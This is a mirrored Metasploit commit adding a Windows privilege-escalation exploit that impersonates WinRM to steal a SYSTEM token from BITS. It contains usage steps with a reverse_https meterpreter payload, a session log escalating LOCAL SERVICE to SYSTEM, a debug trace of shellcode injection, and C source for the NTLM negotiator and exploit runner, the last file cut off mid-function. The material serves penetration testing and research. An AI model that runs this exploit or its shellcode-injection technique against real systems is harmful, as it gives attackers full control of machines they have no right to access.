1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-10-09 04:26:11 +02:00

Land #14046, Adding juicypotato-like privilege escalation exploit for windows

This commit is contained in:
Christophe De La Fuente 2021-01-06 16:02:05 +01:00
commit 17c393f101
No known key found for this signature in database
GPG Key ID: 9E350956EA00352A
30 changed files with 7021 additions and 0 deletions

View File

@ -123,6 +123,10 @@ Files: data/jtr/*
Copyright: Copyright 1996-2013 by Solar Designer
License: GNU GPL 2.0
Files: external/source/exploits/drunkpotato/Common_Src_Files/spnegotokenhandler/*
Copyright: 2011 Jon Bringhurst
License: GNU GPL 2.0
License: BSD-2-clause
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,258 @@
## Vulnerable Application
Windows 10 and Windows servers where WinRM is not running.
Labs experiment has shown that Windows 7 is not vulnerable because BITS service does not attempt to shoot on
WinRM port (see **Module Description** section of this document). Windows XP has not been tested, but if Windows 7 is not
vulnerable, it is likely neither its case.
Regarding Windows 10 and Windows servers, **the availability of port 5985 is a necessary and sufficient condition for
being vulnerable**.
This module exploits BITS behavior which tries to authenticate on local WinRM server (port 5985) even if this service is not running.
As this module runs a fake service on WinRM port to steal a SYSTEM token, this port must be available.
However, please note that WinRM service is natively running on windows servers preventing to run this exploit successfully.
Nevertheless, if WinRM service is disabled by an admin, or just killed, the operating system becomes vulnerable.
## Verification Steps
1. get a meterpreter session which has either SE_IMPERSONATE_NAME or SE_ASSIGNPRIMARYTOKEN_NAME privilege.
1. Do: `use exploits/windows/local/bits_ntlm_token_impersonation`
1. Do: `set SESSION <previous meterpreter session>`
1. Do: `set PAYLOAD windows/meterpreter/reverse_https`
1. Do: `set LHOST <your ip>`
1. Do: `set LPORT <your port>`
1. Do: `exploit`
1. A new meterpreter session should pop.
## Options
HOST_PROCESS &#8594; The process which will be launched as SYSTEM and execute metasploit shellcode.
This process should normally be hidden because launched without graphical interface. However, during lab experiments, some
processes has shown persistent screen effects. For instance, experiments with calc.exe was tested and a
buggy unresponsive window appeared and persisted until next reboot. Default choice is notepad.exe and it has not shown any
screen effects during lab experiments.
SESSION &#8594; index of the previous meterpreter session in through of which the exploit will be run.
SHUTDOWN_SERVICES &#8594; This boolean determines if ruby module should attempt to terminate WinRM and BITS if they
are found running. Indeed, both services must be down for the exploit to succeed (WinRM because we want to put a fake WinRM
service listening on its port, and BITS because the vulnerable behavior occurs at its startup). Default value is false for
multiple reasons. First the exploit is designed to wait for BITS to terminate by itself and you may get a shell even if it is
still running at the end of check. Secondly, in common usecases (previous meterpreter session running as LOCAL SERVICE), you
don't have sufficient privileges to do that. You only can do it if you are in administrator group. Thirdly, attempting to
terminate a service may trigger antiviruses, may be logged and may cause problems on the target system.
WINRM_RPORT &#8594; Port on which the exploit impersonating a genuine WinRM service will listen on remote target. Default
value is default WinRM port (5985). However, in some Windows configuration, WinRM default port can be set to 47001. This is
the case for instance if no WinRM listener is set. More information regarding this here:
https://docs.microsoft.com/en-us/windows/win32/winrm/obtaining-data-from-the-local-computer
If the exploit fails, you may want to try other ports commonly used by WinRM.
## Scenarios
Let's assume you have in any way compromised a service process such as IIS for instance. So your meterpreter session should
look like this:
```
meterpreter > sysinfo
Computer : DESKTOP-5VBUUE9
OS : Windows 10 (10.0 Build 18362).
Architecture : x64
System Language : fr_FR
Meterpreter : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\LOCAL SERVICE
```
By default, service users hold the SE_IMPERSONATE_NAME privilege so this exploit is mainly designed to escalate from
a service account to local system. Lab experiments has shown it works for both LOCAL SERVICE and NETWORK SERVICE:
```
msf6 exploit(exploit/multi/handler) > use exploit/windows/local/bits_ntlm_token_impersonation
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/bits_ntlm_token_impersonation) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf6 exploit(windows/local/bits_ntlm_token_impersonation) > exploit
[*] Started HTTPS reverse handler on https://192.168.1.33:443
[*] Executing automatic check (disable AutoCheck to override)
[!] BITS is currently running. It must be down for the exploit to succeed.
[!] BITS is running. Don't panic, the exploit should handle this, but you have to wait for BITS to terminate.
[+] The target appears to be vulnerable.
[*] Launching notepad to host the exploit...
[+] Process 5044 launched.
[*] Injecting exploit into 5044...
[*] Exploit injected. Injecting payload into 5044...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] https://192.168.1.33:444 handling request from 192.168.1.248; (UUID: fsjcbuvp) Staging x64 payload (201308 bytes) ...
[*] Meterpreter session 2 opened (192.168.1.33:444 -> 192.168.1.248:51077) at 2020-12-11 08:56:29 +0000
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```
## Module Description
This module exploits BITS behavior which tries to connect to the local Windows Remote Management server (WinRM) every times it starts.
The exploit dll (loaded through a previous unprivilegied meterpreter session) launches a fake WinRM server which listens
on port 5985 and triggers BITS.
When BITS starts, it tries to authenticate to the Rogue WinRM server, which allows to steal a SYSTEM token.
This token is then used to launch a new process as SYSTEM user.
In the case of this exploit, an invisible notepad is launched and shellcode is written inside and executed.
Thus, this exploit doesn't write any file on the disk.
This exploit has been discovered by Antonio Cocomazzi, Andrea Pierini and Roberto (0xea31) and it has been implemented in
metasploit on the basis of their proof of concept available on their github repository:
https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/
https://github.com/antonioCoco/RogueWinRM
This exploit has been successfully tested on :
- Windows 10 (10.0 Build 19041) 32 bits
- Windows 10 Pro, Version 1903 (10.0 Build 18362) 64 bits
This exploit failed because of no BITS authentication attempt on:
- Windows 7 (6.1 Build 7601, Service Pack 1) 32 bits
## Warnings
- **SE_IMPERSONATE_NAME or SE_ASSIGNPRIMARYTOKEN_NAME privs are required.**
- **WinRM and in a lesser extent BITS must not be running.**
- As this dll exploit runs a service on the target (Fake WinRM on port 5985),
a firewall popup may appear on target screen. Thus, this exploit is not completely silent.
- Windows servers are not vulnerable because a genuine WinRM service is already running.
## Debugging
You may want to debug or reverse engineer this exploit. You need first to compile the dll sources with DEBUGTRACE flag.
Then, when launching the exploit, you can get runtime debug messages. Here are complete debug messages during a successful exploitation:
```
1 0.00000000 [7188] [dllmain] Entry point.
2 0.00020640 [7188] [extract_metasploit_data] WinRM port: 5985
3 0.00035820 [7188] [extract_metasploit_data] Process to launch: notepad.exe
4 0.00039800 [7188] [extract_metasploit_data] shellcode length: 626
5 0.00055150 [7188] [createProcessMethod] Attempting to enable SE_IMPERSONATE_NAME privilege...
6 0.00128340 [7188] [EnablePriv] SUCCESS: Privilege enabled.
7 0.00360550 [7188] [startListener] SUCCESS: WSAStartup initialized
8 0.00363250 [7188] [startListener] SUCCESS: getaddrinfo initialized. host:127.0.0.1, port: 5985
9 0.00439900 [7188] [startListener] SUCCESS: socket created.
10 0.00447850 [7188] [startListener] SUCCESS: socket bound.
11 0.00449390 [7188] [startListener] SUCCESS: socket is now listening for incoming connexions.
12 1.00682116 [7188] [isBitsRunning] Checking if BITS is running (It should not)...
13 1.00756419 [7188] [isBitsRunning] SUCCESS: BITS is not running.
14 1.00760865 [7188] [triggerBits] Attempting to start BITS...
15 1.27990735 [7188] [startListener] SUCCESS: socket accept stage successful.
16 1.27999246 [7188] [handleListener] Rogue WinRM service now listening for connection on port 5985.
17 1.28006208 [7188] [handleNTLMPConnection] Received http negotiate request.
18 1.28009701 [7188] [hexDump] Hexdump of packet:
19 1.28023875 [7188] [hexDump] 0000 50 4f 53 54 20 2f 77 73 6d 61 6e 20 48 54 54 50 POST /wsman HTTP
20 1.28033876 [7188] [hexDump] 0010 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e /1.1..Connection
21 1.28043485 [7188] [hexDump] 0020 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 43 6f : Keep-Alive..Co
22 1.28052747 [7188] [hexDump] 0030 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c ntent-Type: appl
23 1.28062499 [7188] [hexDump] 0040 69 63 61 74 69 6f 6e 2f 73 6f 61 70 2b 78 6d 6c ication/soap+xml
24 1.28071892 [7188] [hexDump] 0050 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 31 36 0d ;charset=UTF-16.
25 1.28080654 [7188] [hexDump] 0060 0a 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 3a 20 .Authorization:
26 1.28090227 [7188] [hexDump] 0070 4e 65 67 6f 74 69 61 74 65 20 59 47 77 47 42 69 Negotiate YGwGBi
27 1.28100324 [7188] [hexDump] 0080 73 47 41 51 55 46 41 71 42 69 4d 47 43 67 47 6a sGAQUFAqBiMGCgGj
28 1.28108621 [7188] [hexDump] 0090 41 59 42 67 6f 72 42 67 45 45 41 59 49 33 41 67 AYBgorBgEEAYI3Ag
29 1.28115559 [7188] [hexDump] 00a0 49 4b 42 67 6f 72 42 67 45 45 41 59 49 33 41 67 IKBgorBgEEAYI3Ag
30 1.28125131 [7188] [hexDump] 00b0 49 65 6f 6b 49 45 51 45 35 55 54 45 31 54 55 31 IeokIEQE5UTE1TU1
31 1.28134823 [7188] [hexDump] 00c0 41 41 41 51 41 41 41 4c 65 79 43 4f 49 4a 41 41 AAAQAAALeyCOIJAA
32 1.28144515 [7188] [hexDump] 00d0 6b 41 4e 77 41 41 41 41 38 41 44 77 41 6f 41 41 kANwAAAA8ADwAoAA
33 1.28154385 [7188] [hexDump] 00e0 41 41 43 67 43 36 52 77 41 41 41 41 39 45 52 56 AACgC6RwAAAA9ERV
34 1.28162599 [7188] [hexDump] 00f0 4e 4c 56 45 39 51 4c 54 56 57 51 6c 56 56 52 54 NLVE9QLTVWQlVVRT
35 1.28167975 [7188] [hexDump] 0100 6c 58 54 31 4a 4c 52 31 4a 50 56 56 41 3d 0d 0a lXT1JLR1JPVVA=..
36 1.28172791 [7188] [hexDump] 0110 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 User-Agent: Micr
37 1.28177559 [7188] [hexDump] 0120 6f 73 6f 66 74 20 57 69 6e 52 4d 20 43 6c 69 65 osoft WinRM Clie
38 1.28182483 [7188] [hexDump] 0130 6e 74 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 nt..Content-Leng
39 1.28187311 [7188] [hexDump] 0140 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 6c 6f 63 th: 0..Host: loc
40 1.28192329 [7188] [hexDump] 0150 61 6c 68 6f 73 74 3a 35 39 38 35 0d 0a 0d 0a alhost:5985....
41 1.28192329 [7188]
42 1.28198123 [7188] [processNtlmBytes] -- handleType1 start --
43 1.28448606 [7188] [HandleType1] Result of AcceptSecurityContext() = status: 0x90312--
44 1.28453183 [7188] [processNtlmBytes] -- handleType1 end --
45 1.28457534 [7188] [forge_ntlmssp_challenge_responses] Forging http response type2 packet...
46 1.28464592 [7188] [hexDump] Hexdump of packet:
47 1.28471112 [7188] [hexDump] 0000 48 54 54 50 2f 31 2e 31 20 34 30 31 20 0d 0a 57 HTTP/1.1 401 ..W
48 1.28477061 [7188] [hexDump] 0010 57 57 2d 41 75 74 68 65 6e 74 69 63 61 74 65 3a WW-Authenticate:
49 1.28485692 [7188] [hexDump] 0020 20 4e 65 67 6f 74 69 61 74 65 20 6f 59 49 42 43 Negotiate oYIBC
50 1.28487158 [7188] [hexDump] 0030 7a 43 43 41 51 65 67 41 77 6f 42 41 61 45 4d 42 zCCAQegAwoBAaEMB
51 1.28495753 [7188] [hexDump] 0040 67 6f 72 42 67 45 45 41 59 49 33 41 67 49 4b 6f gorBgEEAYI3AgIKo
52 1.28498507 [7188] [hexDump] 0050 6f 48 78 42 49 48 75 54 6c 52 4d 54 56 4e 54 55 oHxBIHuTlRMTVNTU
53 1.28507006 [7188] [hexDump] 0060 41 41 43 41 41 41 41 48 67 41 65 41 44 67 41 41 AACAAAAHgAeADgAA
54 1.28509665 [7188] [hexDump] 0070 41 41 31 77 6f 72 69 6f 34 36 75 39 5a 6c 55 6e AA1worio46u9ZlUn
55 1.28518021 [7188] [hexDump] 0080 6f 63 4c 41 41 45 41 41 41 41 41 41 4a 67 41 6d ocLAAEAAAAAAJgAm
56 1.28520679 [7188] [hexDump] 0090 41 42 57 41 41 41 41 43 67 43 36 52 77 41 41 41 ABWAAAACgC6RwAAA
57 1.28528929 [7188] [hexDump] 00a0 41 39 45 41 45 55 41 55 77 42 4c 41 46 51 41 54 A9EAEUAUwBLAFQAT
58 1.28532350 [7188] [hexDump] 00b0 77 42 51 41 43 30 41 4e 51 42 57 41 45 49 41 56 wBQAC0ANQBWAEIAV
59 1.28540862 [7188] [hexDump] 00c0 51 42 56 41 45 55 41 4f 51 41 43 41 42 34 41 52 QBVAEUAOQACAB4AR
60 1.28544271 [7188] [hexDump] 00d0 41 42 46 41 46 4d 41 53 77 42 55 41 45 38 41 55 ABFAFMASwBUAE8AU
61 1.28552401 [7188] [hexDump] 00e0 41 41 74 41 44 55 41 56 67 42 43 41 46 55 41 56 AAtADUAVgBCAFUAV
62 1.28554428 [7188] [hexDump] 00f0 51 42 46 41 44 6b 41 41 51 41 65 41 45 51 41 52 QBFADkAAQAeAEQAR
63 1.28563356 [7188] [hexDump] 0100 51 42 54 41 45 73 41 56 41 42 50 41 46 41 41 4c QBTAEsAVABPAFAAL
64 1.28566802 [7188] [hexDump] 0110 51 41 31 41 46 59 41 51 67 42 56 41 46 55 41 52 QA1AFYAQgBVAFUAR
65 1.28575194 [7188] [hexDump] 0120 51 41 35 41 41 51 41 48 67 42 45 41 45 55 41 55 QA5AAQAHgBEAEUAU
66 1.28578627 [7188] [hexDump] 0130 77 42 4c 41 46 51 41 54 77 42 51 41 43 30 41 4e wBLAFQATwBQAC0AN
67 1.28586805 [7188] [hexDump] 0140 51 42 57 41 45 49 41 56 51 42 56 41 45 55 41 4f QBWAEIAVQBVAEUAO
68 1.28590250 [7188] [hexDump] 0150 51 41 44 41 42 34 41 52 41 42 46 41 46 4d 41 53 QADAB4ARABFAFMAS
69 1.28598428 [7188] [hexDump] 0160 77 42 55 41 45 38 41 55 41 41 74 41 44 55 41 56 wBUAE8AUAAtADUAV
70 1.28601146 [7188] [hexDump] 0170 67 42 43 41 46 55 41 56 51 42 46 41 44 6b 41 42 gBCAFUAVQBFADkAB
71 1.28608716 [7188] [hexDump] 0180 77 41 49 41 47 73 53 5a 71 37 62 7a 74 59 42 41 wAIAGsSZq7bztYBA
72 1.28613508 [7188] [hexDump] 0190 41 41 41 41 41 3d 3d 0d 0a 53 65 72 76 65 72 3a AAAAA==..Server:
73 1.28618777 [7188] [hexDump] 01a0 20 4d 69 63 72 6f 73 6f 66 74 2d 48 54 54 50 41 Microsoft-HTTPA
74 1.28620350 [7188] [hexDump] 01b0 50 49 2f 32 2e 30 0d 0a 43 6f 6e 74 65 6e 74 2d PI/2.0..Content-
75 1.28625381 [7188] [hexDump] 01c0 4c 65 6e 67 74 68 3a 20 30 0d 0a 0d 0a 00 00 Length: 0......
76 1.28625381 [7188]
77 1.28628480 [7188] [handleNTLMPConnection] Sending the 401 http response with ntlm type 2 challenge...
78 1.28635943 [7188] [handleNTLMPConnection] 401 http response sent.
79 1.28725624 [7188] [handleNTLMPConnection] SUCCESS: Received http packet with ntlm type3 response.
80 1.28733253 [7188] [hexDump] Hexdump of packet:
81 1.28734791 [7188] [hexDump] 0000 50 4f 53 54 20 2f 77 73 6d 61 6e 20 48 54 54 50 POST /wsman HTTP
82 1.28743696 [7188] [hexDump] 0010 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e /1.1..Connection
83 1.28746414 [7188] [hexDump] 0020 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 43 6f : Keep-Alive..Co
84 1.28755128 [7188] [hexDump] 0030 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c ntent-Type: appl
85 1.28757834 [7188] [hexDump] 0040 69 63 61 74 69 6f 6e 2f 73 6f 61 70 2b 78 6d 6c ication/soap+xml
86 1.28766000 [7188] [hexDump] 0050 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 31 36 0d ;charset=UTF-16.
87 1.28767395 [7188] [hexDump] 0060 0a 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 3a 20 .Authorization:
88 1.28775859 [7188] [hexDump] 0070 4e 65 67 6f 74 69 61 74 65 20 6f 58 63 77 64 61 Negotiate oXcwda
89 1.28778541 [7188] [hexDump] 0080 41 44 43 67 45 42 6f 6c 6f 45 57 45 35 55 54 45 ADCgEBoloEWE5UTE
90 1.28787005 [7188] [hexDump] 0090 31 54 55 31 41 41 41 77 41 41 41 41 41 41 41 41 1TU1AAAwAAAAAAAA
91 1.28789675 [7188] [hexDump] 00a0 42 59 41 41 41 41 41 41 41 41 41 46 67 41 41 41 BYAAAAAAAAAFgAAA
92 1.28798091 [7188] [hexDump] 00b0 41 41 41 41 41 41 57 41 41 41 41 41 41 41 41 41 AAAAAAWAAAAAAAAA
93 1.28800118 [7188] [hexDump] 00c0 42 59 41 41 41 41 41 41 41 41 41 46 67 41 41 41 BYAAAAAAAAAFgAAA
94 1.28809083 [7188] [hexDump] 00d0 41 41 41 41 41 41 57 41 41 41 41 44 58 43 69 4f AAAAAAWAAAADXCiO
95 1.28811765 [7188] [hexDump] 00e0 49 4b 41 4c 70 48 41 41 41 41 44 79 65 33 4e 77 IKALpHAAAADye3Nw
96 1.28817153 [7188] [hexDump] 00f0 34 39 70 77 2f 4f 35 37 6d 67 42 70 66 51 59 57 49pw/O57mgBpfQYW
97 1.28822196 [7188] [hexDump] 0100 4b 6a 45 67 51 51 41 51 41 41 41 4f 6e 6d 38 2b KjEgQQAQAAAOnm8+
98 1.28828132 [7188] [hexDump] 0110 45 37 77 57 65 36 41 41 41 41 41 41 3d 3d 0d 0a E7wWe6AAAAAA==..
99 1.28834140 [7188] [hexDump] 0120 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 User-Agent: Micr
100 1.28840005 [7188] [hexDump] 0130 6f 73 6f 66 74 20 57 69 6e 52 4d 20 43 6c 69 65 osoft WinRM Clie
101 1.28845811 [7188] [hexDump] 0140 6e 74 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 nt..Content-Leng
102 1.28851688 [7188] [hexDump] 0150 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 6c 6f 63 th: 0..Host: loc
103 1.28857553 [7188] [hexDump] 0160 61 6c 68 6f 73 74 3a 35 39 38 35 0d 0a 0d 0a alhost:5985....
104 1.28857553 [7188]
105 1.28861415 [7188] [handleNTLMPConnection] Using ntlm type3 response in AcceptSecurityContext()...
106 1.28866363 [7188] [processNtlmBytes] -- handleType3 start --
107 1.28932333 [7188] [HandleType3] Result of AcceptSecurityContext() = status: 0x0--
108 1.28935909 [7188] [processNtlmBytes] -- handleType3 end --
109 1.28939426 [7188] [handleNTLMPConnection] Shutting down RogueWinRM service properly...
110 1.28953993 [7188] [handleNTLMPConnection] RogueWinRM service is now down.
111 1.32062924 [7188] [triggerBits] SUCCESS: BITS triggered!
112 1.32064247 [7188] [RunRogueWinRM] authresult 0
113 1.32069910 [7188] [IsTokenSystem] Checking if token is SYSTEM...
114 1.32073796 [7188] [IsTokenSystem] SUCCESS: Token is SYSTEM.
115 1.32080293 [7188] [RunRogueWinRM] Launching new process through CreateProcessWithTokenW().
116 1.32268882 [7188] [RunRogueWinRM] SUCCESS: target process launched as SYSTEM.
117 1.32270396 [7188] [RunRogueWinRM] Attempting to allocate executable memory space in spawned process...
118 1.32278264 [7188] [RunRogueWinRM] SUCCESS: executable memory space successfully allocated.
119 1.32282817 [7188] [RunRogueWinRM] Attempting to write shellcode in spawned process...
120 1.32286501 [7188] [RunRogueWinRM] SUCCESS: shellcode written into SYSTEM process.
121 1.32288563 [7188] [RunRogueWinRM] Attempting to trigger shellcode from spawned process...
122 1.32295120 [7188] [RunRogueWinRM] PWNED ! executing shellcode as SYSTEM.
123 1.32297337 [7188] [dllmain] Exit status: 0
```

View File

@ -0,0 +1,223 @@
/**
This module is a plain C class emulation. The POC written by decoder was in cpp and used some classes
in particular for the local negotiator.
See https://stackoverflow.com/questions/40992945/convert-a-cpp-class-cpp-file-into-a-c-structure-c-file
for how I emulated a class in pure C.
The local negotiator is an object used to handle security an client-server negotiation data. In this
exploit, it is used by elevatorService.c (Rogue WinRM service) in order to store security context
obtained when BITS shoots the Rogue WinRM service, and is required by this service to authenticate.
*/
#include "pch.h"
/**
Constructor of the LocalNegotiator class. Setup the addresses of class methods,
and initialize some arguments
@param LocalNegotiator* this Address of the instantiated object.
*/
void Init(LocalNegotiator* this)
{
/* Cleaning everything. This is not very useful as we calloc-ed LocalNegotiator,
but this is in the case somebody would reuse this function or change the code elswhere.*/
ZeroMemory(this, sizeof(LocalNegotiator));
// linking of class methods
this->destruct = &destructNegotiator;
this->processNtlmBytes = &processNtlmBytes;
this->handleType1 = &HandleType1;
this->handleType3 = &HandleType3;
this->returnType2 = &ReturnType2;
// Initialization of attributes
this->phContext = (PCtxtHandle)calloc(1, sizeof(CtxtHandle));
this->authResult = -1;
return;
}
/**
destructor of the LocalNegotiator Class. Free allocated memory
@param LocalNegotiator* this Address of the instantiated object.
*/
void destructNegotiator(LocalNegotiator* this)
{
free(this->phContext);
this->phContext = NULL;
free(this);
return;
}
/**
This static function is a router which process NTLM request bytes according to if it is a
NTLM 1 or 3 request (for calling a security context through handleType in localNegotiator
object.
@param LocalNegotiator* this Address of negotiator object
@param char* ntlmBytes Address of buffer hosting raw bytes of NTLM request
@param unsigned short len Length of previous buffer argument
@return int Error code. 0 for success.
*/
static int processNtlmBytes(LocalNegotiator* this, char* ntlmBytes, unsigned short len)
{
int messageType = ntlmBytes[8];
switch (messageType)
{
case 1:
//NTLM type 1 message
dprintf("[processNtlmBytes] -- handleType1 start --");
this->handleType1(this, ntlmBytes, len);
dprintf("[processNtlmBytes] -- handleType1 end --");
break;
case 3:
//NTLM type 3 message
dprintf("[processNtlmBytes] -- handleType3 start --");
this->handleType3(this, ntlmBytes, len);
dprintf("[processNtlmBytes] -- handleType3 end --");
break;
default:
dprintf("[processNtlmBytes] ERROR: unknown NTLM message type...");
return -1;
break;
}
return 0;
}
/**
Process the data sent by the first request of BITS server (ntlmBytes)
by creating a security context stored in the local negotiator instance.
@param LocalNegotiator* this Address of the instantiated object.
@param char* ntlmBytes packet sent by BITS server
@param unsigned short len length of packet sent by BITS (length of prev argument)
@return int Error code. 0 for success.
*/
static int HandleType1(LocalNegotiator* this, char* ntlmBytes, unsigned short len)
{
int status = -1;
LPSTR lpPackageName = "Negotiate";
TimeStamp ptsExpiry;
TimeStamp tsContextExpiry;
ULONG fContextAttr;
status = AcquireCredentialsHandleA
(
NULL,
lpPackageName,
SECPKG_CRED_INBOUND,
NULL,
NULL,
0,
NULL,
&this->hCred,
&ptsExpiry
);
if (status != SEC_E_OK)
{
dprintf("[HandleType1] ERROR: AcquireCredentialsHandleA return value: 0x%x", status);
return -1;
}
InitTokenContextBuffer(&this->secClientBufferDesc, &this->secClientBuffer);
InitTokenContextBuffer(&this->secServerBufferDesc, &this->secServerBuffer);
this->secClientBuffer.cbBuffer = len;
this->secClientBuffer.pvBuffer = ntlmBytes;
status = AcceptSecurityContext
(
&this->hCred,
NULL,
&this->secClientBufferDesc,
ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
//STANDARD_CONTEXT_ATTRIBUTES,
SECURITY_NATIVE_DREP,
this->phContext,
&this->secServerBufferDesc,
&fContextAttr,
&tsContextExpiry
);
dprintf("[HandleType1] Result of AcceptSecurityContext() = status: 0x%x--", status);
return status;
}
/**
Process the data sent by the second request of BITS server, when it answer to the challenge-response
proposed by the rogue WinRM service (elevatorService.c) by creating a security context stored in the
local negotiator instance. This security context will be used later to steal a SYSTEM token.
@param LocalNegotiator* this Address of the instantiated object.
@param char* ntlmBytes packet sent by BITS server
@param unsigned short len length of packet sent by BITS (length of prev argument)
@return int Error code. 0 for success.
*/
static int HandleType3(LocalNegotiator* this, char* ntlmBytes, unsigned short len)
{
InitTokenContextBuffer(&this->secClientBufferDesc, &this->secClientBuffer);
InitTokenContextBuffer(&this->secServerBufferDesc, &this->secServerBuffer);
this->secClientBuffer.cbBuffer = len;
this->secClientBuffer.pvBuffer = ntlmBytes;
ULONG fContextAttr;
TimeStamp tsContextExpiry;
int status = AcceptSecurityContext
(
&this->hCred,
this->phContext,
&this->secClientBufferDesc,
ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
//STANDARD_CONTEXT_ATTRIBUTES,
SECURITY_NATIVE_DREP,
this->phContext,
&this->secServerBufferDesc,
&fContextAttr,
&tsContextExpiry
);
this->authResult = status;
dprintf("[HandleType3] Result of AcceptSecurityContext() = status: 0x%x--", status);
return status;
}
static char* ReturnType2(LocalNegotiator* this, unsigned short* outbuffer_len)
{
*outbuffer_len = (unsigned short)this->secServerBuffer.cbBuffer;
return (char*)this->secServerBuffer.pvBuffer;
}
static void InitTokenContextBuffer(PSecBufferDesc pSecBufferDesc, PSecBuffer pSecBuffer)
{
pSecBuffer->BufferType = SECBUFFER_TOKEN;
pSecBuffer->cbBuffer = 0;
pSecBuffer->pvBuffer = NULL;
pSecBufferDesc->ulVersion = SECBUFFER_VERSION;
pSecBufferDesc->cBuffers = 1;
pSecBufferDesc->pBuffers = pSecBuffer;
}

View File

@ -0,0 +1,58 @@
#pragma once
#pragma comment (lib, "Secur32.Lib")
/**
This module is a plain C class emulation. The POC written by decoder was in cpp and used some classes
in particular for the local negotiator.
See https://stackoverflow.com/questions/40992945/convert-a-cpp-class-cpp-file-into-a-c-structure-c-file
for how I emulated a class in pure C.
The local negotiator is an object used to handle security an client-server negotiation data. In this
exploit, it is used by elevatorService.c (Rogue WinRM service) in order to store security context
obtained when BITS shoots the Rogue WinRM service, and is required by this service to authenticate.
*/
struct _LocalNegotiator;
typedef void (*negConstructor) (struct _LocalNegotiator*);
typedef void (*negDestructor) (struct _LocalNegotiator*);
typedef void (*Initialize) (struct _LocalNegotiator*);
typedef int (*handle1) (struct _LocalNegotiator*, char*, unsigned short);
typedef int (*handle3) (struct _LocalNegotiator*, char*, unsigned short);
typedef char* (*returnType) (struct _LocalNegotiator*, unsigned short*);
typedef int (*processBytes) (struct _LocalNegotiator*, char*, unsigned short);
typedef struct _LocalNegotiator
{
// Methods as pointer to functions
negConstructor construct;
negDestructor destruct;
handle1 handleType1;
handle3 handleType3;
returnType returnType2;
processBytes processNtlmBytes;
// Arguments
int authResult;
PCtxtHandle phContext;
CredHandle hCred;
SecBufferDesc secClientBufferDesc;
SecBufferDesc secServerBufferDesc;
SecBuffer secClientBuffer;
SecBuffer secServerBuffer;
} LocalNegotiator;
// Constructor and destructor
void Init(LocalNegotiator* this);
void destructNegotiator(LocalNegotiator* this);
// Methods of emulated classes
static int processNtlmBytes(LocalNegotiator* this, char* ntlmBytes, unsigned short len);
static int HandleType1(LocalNegotiator* this, char* ntlmBytes, unsigned short len);
static int HandleType3(LocalNegotiator* this, char* ntlmBytes, unsigned short len);
static char* ReturnType2(LocalNegotiator* this, unsigned short* outbuffer_len);
// Static function
static void InitTokenContextBuffer(PSecBufferDesc pSecBufferDesc, PSecBuffer pSecBuffer);

View File

@ -0,0 +1,533 @@
#include "pch.h"
#define SUCCESS_PWNED 0 // Success exit status of RunRogueWinRM
#define ERROR_NOT_ENOUGH_PRIVILEGES 1
#define ERROR_WINRM_ALREADY_PRESENT 2
#define ERROR_BITS_RUNNING 3
#define ERROR_BITS_NOT_TRIGGERED 4
#define ERROR_NO_BITS_AUTH 5
#define ERROR_UNKNOWN 6
#define ERROR_VIRTUAL_ALLOC_FAILURE 7
#define ERROR_HEAP_ALLOC_FAILURE 8
#define ERROR_TOKEN_IS_NOT_SYSTEM 9
#define ERROR_FAILED_TO_GET_TOKEN 10
#define ERROR_NO_TOKEN_INFOS 11
#define ERROR_TOKEN_DUPLICATION_FAILURE 12
#define ERROR_SHELLCODE_REMOTE_COPY_FAILURE 13
#define ERROR_SHELLCODE_TRIGGER_FAILURE 14
#define ERROR_OTHER 15
#define SHELLCODE_BUFFER_SIZE 400000 // I use such a large buffer to allow the use of payload such as stageless meterpreter (windows/meterpreter_reverse_tcp)
#define WINDOWS_PATH_LENGTH_LIMITATION 260
/**
Main procedure called by main/dllmain. This function successively:
- Checks process privileges
- Starts a rogue WinRM server in a new thread
- Checks if BITS is running and trigger it if it is not
- Call a querySecurityContext to get a SYSTEM token from the Rogue WinRM
- Duplicate this token as a primary token
- Launch a new process as SYSTEM through the previously got token
- Copy the shellcode in the SYSTEM process and make it execute
@param char* shellcode Local address of the shellcode sent by metasploit and allocated in the heap.
@return int Error code. See #define constant in this file.
*/
int RunRogueWinRM(char* metasploit_raw_data)
{
char* winrm_port_address = NULL;
char* shellcode = NULL;
unsigned int shellcode_length = 0;
LocalNegotiator* negotiator = (LocalNegotiator*)calloc(1, sizeof(LocalNegotiator));
THREAD_PARAMETERS threads_params;
HANDLE hThread = NULL;
HANDLE hToken = NULL;
HANDLE elevated_token = NULL;
HANDLE duped_token = NULL;
BOOL bitsRunning = TRUE;
BOOL triggerBitsStatus = FALSE;
BOOL result = FALSE;
//const wchar_t processname[] = L"notepad.exe";
wchar_t processname[WINDOWS_PATH_LENGTH_LIMITATION] = { 0 };
int error_code = ERROR_OTHER;
PROCESS_INFORMATION pi;
STARTUPINFOW si;
createProcessMethod processMethod = UNAUTHORIZED;
if (!negotiator)
{
dprintf("[RunRogueWinRM] ERROR: failed to allocate memory space for negotiator handling.");
